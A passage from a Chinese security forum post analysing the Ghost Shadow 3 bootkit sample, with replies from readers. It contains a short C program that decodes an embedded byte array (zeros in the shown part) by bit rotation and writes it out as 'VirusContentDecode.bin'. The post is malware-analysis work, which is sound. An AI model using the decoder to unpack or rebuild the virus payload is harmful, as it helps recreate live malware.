    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00  
};  
  
int main()  
{  
    for (int i = 0; i < 9232; i++)  
    {  
        data[i] = (data[i] << 5 | data[i] >> 3);  
    }  
    HANDLE hFile;  
    DWORD BytesOfWritten;  
    hFile = CreateFile(L"VirusContentDecode.bin", FILE_ANY_ACCESS, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);  
    WriteFile(hFile, data, 9232, &BytesOfWritten, NULL);  
    return 0;  
}  


[CODE][/CODE]




    我把输出表提取出来用数组的形式做是为了偷懒,避免一些麻烦,主要是PE文件当中使用了很多的RVA,如果直接对磁盘文件进行操作需要进行换算,磁盘映像和内存映像不太一样,我这里把FunctionsNameTable用WinHex提取出来,然后直接对数组进行操作,简单一些^_^
    末尾的吐槽:剩下的alg.exe不准备分析啦.花了4天弄鬼影3的样本分析.基本上里面我最感兴趣的从实模式切到保护模式和系统操作的代码都搞清楚了.中间查了不少资料,收获不少,啊哈哈哈哈哈哈.
    好吧.哥3天没看银魂,这两天的睡眠时间都是6个多小时.就是xx鬼影3了.
    自认为自己只是一个很努力的菜鸟(肥菜鸟),欢迎大家拍砖交流.^_^

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 1
支持
分享
最新回复 (6)
雪    币: 130
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
敬仰楼主这种坚持不懈的精神和羡慕编程方面的知识。
2011-11-12 09:14
0
雪    币: 130
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
牛人
2011-11-12 09:24
0
雪    币: 203
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
izc
4
代码很工整规范。
2011-11-12 14:46
0
雪    币: 415
活跃值: (34)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
5
不错,可以做为汇编样本格式啦。
2011-11-12 20:52
0
雪    币: 143
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
6
转帖而已~   
2011-11-13 12:06
0
雪    币: 4902
活跃值: (120)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
俺来稀罕并学习了哈
2011-11-13 20:59
0
游客
登录 | 注册 方可回帖
返回
//